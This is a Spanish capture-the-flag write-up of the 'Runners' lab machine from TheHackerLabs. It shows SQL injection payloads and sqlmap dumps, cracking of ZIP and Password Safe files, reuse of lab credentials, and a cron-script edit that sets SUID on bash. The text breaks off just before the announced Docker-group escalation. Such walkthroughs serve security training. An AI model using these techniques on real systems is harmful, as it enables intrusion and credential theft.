Runners - TheHackerLabs
Esta es una máquina sencilla, pero que necesita mucho trabajo para resolverla. Después de analizar los escaneos, entramos en la página web activa en el puerto 80. Analizándola, descubrimos que es vulnerable a inyecciones SQL. Para automatizar el uso de inyecciones SQL, utilizamos la herramienta SQLMAP, con lo que podemos dumpear una tabla que contiene un usuario y contraseña válidos para entrar en el servicio SSH del puerto 2222. Dentro de este servicio, descubrimos que se trata de un contenedor de Docker. Enumerando un poco, encontramos un archivo ZIP dentro de un directorio oculto de nuestro usuario. Lo descargamos y crackeamos, resultando en la contraseña de otro usuario del contenedor de Docker. Entrando como este nuevo usuario, descubrimos un script que se ejecuta cada minuto como una tarea CRON. Modificamos el script para que le dé permisos SUID a la Bash, siendo así que logramos escalar privilegios en el contenedor y convertirnos en Root. Ya como Root, encontramos un archivo de texto en su directorio, que contiene un usuario y contraseña del servicio SSH de la máquina víctima. Dentro, encontramos un archivo de la aplicación Password Safe, que logramos crackear y ver su contenido. Ahí encontramos la contraseña para otro usuario de la máquina víctima. Entrando como este nuevo usuario, identificamos que está dentro del grupo Docker, lo que nos permite abusar de este y crear una montura de la raíz de la máquina víctima en un contenedor. Dicha montura puede generar cambios fuera del contenedor, entonces, si le damos permisos SUID a la Bash del contenedor, la Bash de la máquina víctima también se verá afectada, siendo esta forma con la que logramos escalar privilegios y ser Root de la máquina víctima.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- ffuf
- gobuster
- sqlmap
- ssh
- hostname
- cat
- grep
- scp
- unzip
- zip2john
- JohnTheRipper
- libreoffice
- python3
- wget
- chmod
- pspy64
- bash
- sudo
- pwsafe2john
- apt
- pwsafe
- id
- docker
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Enumeración del Contenedor Docker, Crackeo de Archivo ZIP y Ganando Acceso como Usuario Maria
- Modificando Script y Abusando de Tarea CRON de Contenedor para Escalar Privilegios y Ganar Acceso a la Máquina Víctima
- Enumeración de Máquina Víctima y Crackeo de Archivo psafe
- Escalando Privilegios Abusando de Grupo Docker
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.240
PING 192.168.10.240 (192.168.10.240) 56(84) bytes of data.
64 bytes from 192.168.10.240: icmp_seq=1 ttl=64 time=1.99 ms
64 bytes from 192.168.10.240: icmp_seq=2 ttl=64 time=0.865 ms
64 bytes from 192.168.10.240: icmp_seq=3 ttl=64 time=1.37 ms
64 bytes from 192.168.10.240: icmp_seq=4 ttl=64 time=1.27 ms
--- 192.168.10.240 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3018ms
rtt min/avg/max/mdev = 0.865/1.374/1.994/0.404 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.240 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 10:04 CST
Initiating ARP Ping Scan at 10:04
Scanning 192.168.10.240 [1 port]
Completed ARP Ping Scan at 10:05, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:05
Scanning 192.168.10.240 [65535 ports]
Discovered open port 22/tcp on 192.168.10.240
Discovered open port 80/tcp on 192.168.10.240
Discovered open port 2222/tcp on 192.168.10.240
Completed SYN Stealth Scan at 10:05, 14.99s elapsed (65535 total ports)
Nmap scan report for 192.168.10.240
Host is up, received arp-response (0.0051s latency).
Scanned at 2025-07-30 10:05:00 CST for 15s
Not shown: 59300 closed tcp ports (reset), 6232 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds
Raw packets sent: 78012 (3.433MB) | Rcvd: 59304 (2.372MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay 3 puertos abiertos. Supongo que la intrusión será por el puerto 80, pero debe haber algo en ese puerto 2222.
Escaneo de Servicios
map -sCV -p 22,80,2222 192.168.10.240 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 10:07 CST
Nmap scan report for 192.168.10.240
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:95:53:cd:44:32:5e:69:4a:83:e6:e5:2d:bf:eb:82 (ECDSA)
|_ 256 7b:cd:42:3f:1f:7d:aa:f3:58:8f:7d:85:93:c5:fa:01 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Runners Unlimited
|_http-server-header: Apache/2.4.41 (Ubuntu)
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 da:58:27:97:82:a0:b0:c5:96:bc:69:7d:05:a0:c9:34 (RSA)
| 256 fd:ce:34:44:25:fe:ee:6b:89:46:2d:05:eb:dc:86:f1 (ECDSA)
|_ 256 7f:19:1b:7a:ba:aa:4f:65:62:f1:51:cf:89:c6:e7:b3 (ED25519)
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Ese puerto 2222 me da la impresión de que es un contenedor de Docker. Además, el escaneo parece mostrar algo de contenido de la página web activa.
Vamos a verla.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Esta página es un blog para corredores.
Veamos qué nos dice Wappalizer:
No hay mucho que destacar.
Si navegamos un poco por la página, descubriremos que todas las páginas fueron hechas en PHP, pero hay algunas en específico que muestran el parámetro id:
Esto me hace pensar que es posible que se pueda aplicar una Inyección SQL, porque los artículos están ordenados por su ID, pero esto lo probaremos más adelante.
Mientras, apliquemos Fuzzing para ver si no hay algún directorio o archivo oculto.
Fuzzing
Primero utilicemos ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://192.168.10.240/FUZZ -t 300 -e .php,.txt,.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.10.240/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about.php [Status: 200, Size: 9745, Words: 1095, Lines: 144, Duration: 30ms]
assets [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 21ms]
images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 1463ms]
index.php [Status: 200, Size: 6178, Words: 407, Lines: 114, Duration: 1521ms]
post.php [Status: 200, Size: 4395, Words: 240, Lines: 109, Duration: 48ms]
posts.php [Status: 200, Size: 5235, Words: 326, Lines: 97, Duration: 11ms]
db.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 35ms]
README.txt [Status: 200, Size: 820, Words: 96, Lines: 30, Duration: 27ms]
elements.html [Status: 200, Size: 25373, Words: 1481, Lines: 543, Duration: 18ms]
LICENSE.txt [Status: 200, Size: 17128, Words: 2798, Lines: 64, Duration: 294ms]
.php [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 219ms]
[Status: 200, Size: 6178, Words: 407, Lines: 114, Duration: 220ms]
.html [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 8917ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 1006ms]
:: Progress: [882180/882180] :: Job [1/1] :: 238 req/sec :: Duration: [0:16:51] :: Errors: 1571 ::
Parámetros | Descripción |
---|---|
-w | Para indicar el diccionario a usar en el fuzzing. |
-u | Para indicar la URL a utilizar. |
-t | Para indicar la cantidad de hilos a usar. |
-e | Para indicar extensiones de archivos a buscar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.10.240/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.10.240/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> http://192.168.10.240/images/]
/about.php (Status: 200) [Size: 9745]
/assets (Status: 301) [Size: 319] [--> http://192.168.10.240/assets/]
/post.php (Status: 200) [Size: 4395]
/posts.php (Status: 200) [Size: 5235]
/db.php (Status: 200) [Size: 0]
/README.txt (Status: 200) [Size: 820]
/index.php (Status: 200) [Size: 6178]
/elements.html (Status: 200) [Size: 25373]
/LICENSE.txt (Status: 200) [Size: 17128]
/.html (Status: 403) [Size: 280]
/.php (Status: 403) [Size: 280]
/server-status (Status: 403) [Size: 280]
Progress: 882180 / 882184 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar extensiones de archivos a buscar. |
Podemos ver varias páginas que podemos visitar, pero no es nada que no podamos hacer desde la página principal.
A excepción de la página db.php, que no muestra nada, las demás no muestran algo interesante.
Entonces, vamos a probar si la página web es vulnerable a Inyecciones SQL.
Explotación de Vulnerabilidades
Aplicando e Identificando Tipo de Inyección SQL
Vemos que hay 5 artículos que se muestran en la página posts.php y puedes ir cambiando a cada uno desde la URL, jugando con el parámetro id.
Pero, ¿qué pasa si ponemos un número mayor a 5?
Obtenemos un error.
Esto quiere decir que, si el parámetro id no cumple con el valor de alguno de los posts existentes, que son 5, obtendremos un error.
Supongamos que la consulta que se está ocupando es la siguiente:
select post from posts where id=1;
Esta clase de consultas sin sanitización puede resultar en varios tipos de Inyecciones SQL.
Pero por el momento, la idea es que podamos aplicar una inyección que NO provoque la página de error y, en este caso, que nos muestre el post que queramos (SQL Injection Error-Based).
El problema es que si usamos una comilla simple, como en otros casos, no parece funcionar.
Podemos probar una inyección SQL específica para un tipo de gestor de base de datos. Aquí te dejo el Cheat Sheet de PortSwigger que muestra las sintaxis para distintos gestores de bases de datos:
Si probamos una inyección para MySQL, ya no mostrará el error:
Comprobamos que podemos aplicar Inyecciones SQL Basadas en Errores (SQLi Error-Based).
Podemos tratar de obtener la cantidad de columnas usadas en la BD, resultando en ser 3 columnas:
id=1 order by 3--%20
Esto puede dar en Inyecciones SQL Basadas en Uniones (SQLi UNION-Based).
El problema es que si intentamos aplicar una de estas inyecciones, para tratar de ver algún dato representado en la página, no se verá nada en ningún lado:
id=1 union select version@@,2,3--%20
Pero si usamos una condicional, no mostrará ningún error a menos que la condicional sea incorrecta (por ejemplo, 1=2
):
id=1 and 1=1--%20
Esto quiere decir que podemos aplicar Inyecciones SQL Basadas en Booleanos y Ciegas (SQLi Boolean Based Blind).
Por último, veamos qué ocurre si tratamos de provocar un retardo de 5 segundos:
id=1 and sleep(5)--%20
Tardó exactamente 5 segundos en cargar la página y nos mostró la página de error, por lo que descubrimos que también se pueden aplicar Inyecciones SQL Basadas en Tiempo y Ciegas (SQLi Time-Based Blind).
Llegados a este punto, podemos elegir si queremos aplicar cualquiera de las siguientes inyecciones para tratar de obtener datos de la base de datos:
- Inyecciones SQL Basadas en Booleanos y Ciegas (SQLi Boolean Based Blind)
- Inyecciones SQL Basadas en Tiempo y Ciegas (SQLi Time-Based Blind)
Pero nos tardaremos mucho, así que vamos a optimizar ese tiempo usando la herramienta SQLMAP.
Dumpeando Datos de Base de Datos MySQL con SQLMAP
Veamos si la página es vulnerable a Inyecciones SQL y qué clase de inyecciones podemos aplicar:
sqlmap -u 'http://192.168.10.240/post.php?id=1' --batch
...
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3177=3177
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1961 FROM (SELECT(SLEEP(5)))hJOx)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5438 UNION ALL SELECT CONCAT(0x716a6a7171,0x56596b76615768567750667478796f77635448704f57596c786a5168694d727551794d626c685370,0x7176767871),NULL,NULL-- -
---
[09:22:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
Observa que son justamente las que descubrimos manualmente.
Obtengamos las bases de datos existentes:
sqlmap -u 'http://192.168.10.240/post.php?id=1' --batch --dbs
...
[09:14:25] [INFO] fetching database names
available databases [3]:
[*] blog
[*] information_schema
[*] performance_schema
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
–dbs | Enumera todas las bases de datos disponibles. |
Tenemos 3 BDs, 2 por defecto y la que se está usando actualmente.
Obtengamos las tablas de la base de datos blog:
sqlmap -u 'http://192.168.10.240/post.php?id=1' --batch -D 'blog' --tables
...
[09:23:54] [INFO] fetching tables for database: 'blog'
Database: blog
[3 tables]
+----------+
| comments |
| posts |
| users |
+----------+
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
-D | Selecciona una base de datos especifica a enumerar. |
–tables | Enumera las tablas de una base de datos específica. |
Hay 3 tablas y ahí podemos ver la tabla users.
Obtengamos las columnas de esa tabla:
sqlmap -u 'http://192.168.10.240/post.php?id=1' --batch -D 'blog' -T 'users' --columns
...
[09:24:17] [INFO] fetching columns for table 'users' in database 'blog'
Database: blog
Table: users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int |
| password | varchar(255) |
| username | varchar(100) |
+----------+--------------+
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
-D | Selecciona una base de datos especifica a enumerar. |
-T | Selecciona una tabla especifica a enumerar. |
–columns | Enumera las columnas de una tabla específica. |
Excelente, ahí se encuentra un usuario y contraseña.
Obtengamos esos datos, dumpeando toda la tabla:
sqlmap -u 'http://192.168.10.240/post.php?id=1' --batch -D 'blog' -T 'users' --dump
...
[09:24:37] [INFO] cracked password 'runner' for user 'david'
Database: blog
Table: users
[3 entries]
+----+---------------------------------------------------------------------------+----------+
| id | password | username |
+----+---------------------------------------------------------------------------+----------+
| 1 | 527aa9f431539da8e151d5434d1d5e611d973f601d8e970790882624554146b0 (runner) | david |
| 2 | 7927e941a969cdf471354e79b7ae29ae25ca04d59f66d6c19f9c43a9367ec498 | maria |
| 3 | febb36d29baf28da1a00cad0cc6937d49f13738ff9dd88276e7c85920d2bff40 | ian |
+----+---------------------------------------------------------------------------+----------+
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
-D | Selecciona una base de datos específica a enumerar. |
-T | Selecciona una tabla específica a enumerar. |
–dump | Extraer datos de una tabla específica. |
Muy bien, tenemos un usuario y su contraseña que SQLMAP pudo crackear.
Estas credenciales servirán en el servicio SSH del puerto 2222:
ssh david@192.168.10.240 -p 2222
david@192.168.10.240's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-49-generic x86_64)
...
Last login: Wed Jul 30 15:27:02 2025
david@30acf6ca1fb6:~$ whoami
david
Estamos dentro.
Podemos ver que sí es un contenedor de Docker por cómo se representa el prompt de la shell, y de igual forma podemos comprobarlo:
david@30acf6ca1fb6:~$ hostname -I
172.20.0.2
Post Explotación
Enumeración del Contenedor Docker, Crackeo de Archivo ZIP y Ganando Acceso como Usuario Maria
Veamos qué usuarios existen en el contenedor:
david@30acf6ca1fb6:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bash
maria:x:1001:1001::/home/maria:/bin/bash
Existe el usuario maria y podemos ver el contenido de su directorio, pero no hay nada ahí:
david@30acf6ca1fb6:~$ ls -la /home/maria/
total 3064
drwxr-xr-x 3 maria maria 4096 Jul 30 15:41 .
drwxr-xr-x 1 root root 4096 Nov 28 2024 ..
lrwxrwxrwx 1 root root 9 Nov 28 2024 .bash_history -> /dev/null
-rw-r--r-- 1 maria maria 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 maria maria 3771 Feb 25 2020 .bashrc
drwx------ 2 maria maria 4096 Nov 28 2024 .cache
-rw-r--r-- 1 maria maria 807 Feb 25 2020 .profile
-rw-rw-r-- 1 maria maria 0 Dec 2 2024 .selected_editor
-rw------- 1 maria maria 6010 Jul 30 15:41 .viminfo
En el directorio /opt
, encontraremos un directorio que contiene un script:
david@30acf6ca1fb6:~$ ls -la /opt/scripts/
total 12
drwxr-xr-x 2 root root 4096 Dec 2 2024 .
drwxr-xr-x 1 root root 4096 Nov 28 2024 ..
-rwxrwx--x 1 root maria 818 Jul 30 15:41 backup.sh
Este script lo puede ver y modificar el usuario Root y el usuario maria.
Este será importante más adelante.
Revisando los archivos de nuestro usuario actual, veremos un directorio oculto:
david@30acf6ca1fb6:~$ ls -la
total 28
drwxr-xr-x 4 david david 4096 Nov 28 2024 .
drwxr-xr-x 1 root root 4096 Nov 28 2024 ..
lrwxrwxrwx 1 root root 9 Nov 28 2024 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 david david 3771 Feb 25 2020 .bashrc
drwx------ 2 david david 4096 Nov 28 2024 .cache
drwxr-xr-x 2 david david 4096 Nov 28 2024 .hidden
-rw-r--r-- 1 david david 807 Feb 25 2020 .profile
Veamos su contenido:
david@30acf6ca1fb6:~$ ls -la .hidden/
total 16
drwxr-xr-x 2 david david 4096 Nov 28 2024 .
drwxr-xr-x 4 david david 4096 Nov 28 2024 ..
-rw-r--r-- 1 david david 4928 Nov 28 2024 credenciales.zip
Es un archivo ZIP.
Descarguémoslo en nuestra máquina con scp:
scp -P 2222 david@192.168.10.240:/home/david/.hidden/credenciales.zip .
david@192.168.100.108's password:
credenciales.zip
Si lo tratamos de descomprimir, nos pide una contraseña:
unzip credenciales.zip
Archive: credenciales.zip
[credenciales.zip] credenciales.xlsx password:
Vamos a crackear este archivo.
Primero, obtengamos el hash del archivo:
zip2john credenciales.zip > hash
ver 2.0 efh 5455 efh 7875 credenciales.zip/credenciales.xlsx PKZIP Encr: TS_chk, cmplen=4728, decmplen=5346, crc=BA8EA891 ts=7424 cs=7424 type=8
Crackeemos ese hash con JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockandroll (credenciales.zip/credenciales.xlsx)
1g 0:00:00:00 DONE (2025-07-30 09:30) 25.00g/s 307200p/s 307200c/s 307200C/s 123456..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bien, al descomprimir ese archivo, obtenemos un Excel que podemos abrir con libreoffice:
libreoffice credenciales.xlsx
Tenemos la contraseña del usuario maria.
Autentiquemonos como este usuario:
ssh maria@192.168.10.240 -p 2222
maria@192.168.10.240's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-49-generic x86_64)
...
Last login: Mon Dec 2 15:57:37 2024
maria@30acf6ca1fb6:~$ whoami
maria
Modificando Script y Abusando de Tarea CRON de Contenedor para Escalar Privilegios y Ganar Acceso a la Máquina Víctima
Ya como el usuario maria, podemos ver y modificar el script que habíamos encontrado en la ruta /opt/scripts
:
maria@30acf6ca1fb6:~$ cat /opt/scripts/backup.sh
#!/bin/bash
BACKUP_DIR="/srv/backups"
DB_NAME="blog"
DB_USER="root"
ZIP_PASSWORD="metallica"
BACKUP_FILE="$BACKUP_DIR/blog_backup_$(date +'%Y%m%d%H%M').sql"
/usr/bin/mysqldump -u $DB_USER $DB_NAME > $BACKUP_FILE
zip -P "$ZIP_PASSWORD" "${BACKUP_FILE}.zip" "$BACKUP_FILE"
rm -f "$BACKUP_FILE"
echo "$(date): Backup comprimido de la base de datos '$DB_NAME' creado en ${BACKUP_FILE}.zip" >> /var/log/backup.log
function cleanup_backups {
local total_backups=$(ls -1t "$BACKUP_DIR"/*.zip 2>/dev/null | wc -l)
if (( total_backups > 10 )); then
ls -1t "$BACKUP_DIR"/*.zip | tail -n +11 | while read -r old_backup; do
rm -f "$old_backup"
echo "$(date): Backup antiguo eliminado: $old_backup" >> /var/log/backup.log
done
fi
}
cleanup_backups
Este script realiza un respaldo automático de la base de datos MySQL, lo comprime y cifra con contraseña, guarda un log, y elimina los backups más antiguos para conservar solo los más recientes.
Además, ese script nos está dando una contraseña para un archivo ZIP. Guardémosla para más adelante.
También parece que está hecho para ejecutarse cada cierto tiempo, como una tarea CRON.
Vamos a comprobarlo con la herramienta pspy64:
Una vez que lo descargues, levanta un servidor con Python3:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Lo descargamos con wget desde el contenedor:
maria@30acf6ca1fb6:~$ wget http://Tu_IP/pspy64
Y lo ejecutamos:
maria@30acf6ca1fb6:~$ chmod +x pspy64
maria@30acf6ca1fb6:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
...
2025/07/30 15:37:01 CMD: UID=0 PID=1276 | /bin/sh -c /opt/scripts/backup.sh
2025/07/30 15:37:01 CMD: UID=0 PID=1277 | /bin/bash /opt/scripts/backup.sh
Se está ejecutando cada minuto y quien lo ejecuta es el Root.
Como podemos modificar este script, tan solo le podemos agregar una instrucción para que le dé permisos SUID a la Bash.
Usa vim o vi para modificar el script:
maria@30acf6ca1fb6:~$ cat /opt/scripts/backup.sh
#!/bin/bash
chmod u+s /bin/bash
Espera un minuto y revisa los permisos de la Bash:
maria@30acf6ca1fb6:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
Ejecuta la Bash con privilegios y seremos Root:
maria@30acf6ca1fb6:~$ bash -p
bash-5.0# whoami
root
Ya somos Root.
Si nos movemos a su directorio, veremos un archivo de texto:
bash-5.0# cd /root
bash-5.0# ls
TODO_LIST.txt
Leámoslo:
bash-5.0# cat TODO_LIST.txt
1. Crear un script para automatizar los backups de la base de datos. (OK)
2. Cifrar las contraseñas de la base de datos. (OK)
3. Avisar a Ian para que cambie su contraseña, a ver si deja usar su famosa contraseña "******" en todos lados. (Pendiente)
Tenemos un usuario y contraseña.
Probémoslo con el servicio SSH del puerto 22:
ssh ian@192.168.10.240
ian@192.168.10.240's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-49-generic x86_64)
...
Last login: Thu Nov 28 20:42:23 2024
ian@TheHackersLabs-Runners:~$ whoami
ian
Estamos dentro.
Aquí encontraremos la flag del usuario:
ian@TheHackersLabs-Runners:~$ ls
user.txt
ian@TheHackersLabs-Runners:~$ cat user.txt
...
Enumeración de Máquina Víctima y Crackeo de Archivo psafe
Este usuario no tiene ningún privilegio:
ian@TheHackersLabs-Runners:~$ sudo -l
[sudo] password for ian:
Sorry, user ian may not run sudo on TheHackersLabs-Runners.
Veamos qué usuarios existen en la máquina:
ian@TheHackersLabs-Runners:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
elliot:x:1000:1000:Elliot Alderson:/home/elliot:/bin/bash
ian:x:1001:1001::/home/ian:/bin/bash
Tenemos 2 usuarios.
Podemos ver el contenido del usuario elliot:
ian@TheHackersLabs-Runners:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Nov 28 2024 .
drwxr-xr-x 23 root root 4096 Nov 28 2024 ..
drwxr-xr-x 4 elliot elliot 4096 Nov 28 2024 elliot
drwxr-xr-x 3 ian ian 4096 Nov 28 2024 ian
Hay un archivo con extensión psafe3:
ian@TheHackersLabs-Runners:~$ ls -la /home/elliot/
total 36
drwxr-xr-x 4 elliot elliot 4096 Nov 28 2024 .
drwxr-xr-x 4 root root 4096 Nov 28 2024 ..
lrwxrwxrwx 1 root root 9 Nov 28 2024 .bash_history -> /dev/null
-rw-r--r-- 1 elliot elliot 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 elliot elliot 3771 Mar 31 2024 .bashrc
drwx------ 3 elliot elliot 4096 Nov 28 2024 .cache
-rw------- 1 elliot elliot 20 Nov 27 2024 .lesshst
-rw-r--r-- 1 elliot elliot 904 Nov 28 2024 miscredenciales.psafe3
-rw-r--r-- 1 elliot elliot 807 Mar 31 2024 .profile
drwx------ 2 elliot elliot 4096 Nov 27 2024 .ssh
Investiguemos de qué se trata esta extensión:
Aplicación Password Safe |
---|
La extensión .psafe3 corresponde a archivos de base de datos de contraseñas creados por el programa Password Safe. Password Safe es una aplicación de código abierto para almacenar contraseñas de forma segura en una base de datos cifrada. Crea archivos .psafe3 que contienen: contraseñas, nombres de usuario, notas seguras, etc. |
Entonces, encontramos una base de datos con contraseñas del usuario elliot.
Descarguemos ese archivo con scp:
scp ian@192.168.10.240:/home/elliot/miscredenciales.psafe3 .
ian@192.168.10.240's password:
miscredenciales.psafe3
Obtengamos el hash de ese archivo con la herramienta pwsafe2john:
pwsafe2john miscredenciales.psafe3 > hash2
Y lo crackeamos con JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash2
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
metallica (miscredencial)
1g 0:00:00:00 DONE (2025-07-30 09:51) 3.846g/s 11815p/s 11815c/s 11815C/s 123456..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bien, tenemos la contraseña y es la misma que se usó en el script del contenedor de Docker.
Para ver el contenido del archivo, necesitamos instalar password safe y lo haremos con el siguiente comando:
apt install passwordsafe
Ahora sí, ábrelo:
pwsafe miscredenciales.psafe3
Dale la contraseña:
Hay varias contraseñas del usuario elliot para algunas redes sociales:
Si seleccionamos cualquiera de esos datos, le damos clic derecho y le damos a la opción Edit Entry, podremos ver la contraseña.
La que nos interesa, es la del blog:
Esa contraseña nos servirá para ganar acceso como ese usuario vía SSH:
ssh elliot@192.168.10.240
elliot@192.168.10.240's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-49-generic x86_64)
...
Last login: Mon Dec 2 18:27:15 2024
elliot@TheHackersLabs-Runners:~$ whoami
elliot
Escalando Privilegios Abusando de Grupo Docker
Este usuario tampoco tendrá privilegios, pero si revisamos a qué grupos pertenece, encontraremos que está dentro del grupo Docker:
elliot@TheHackersLabs-Runners:~$ id
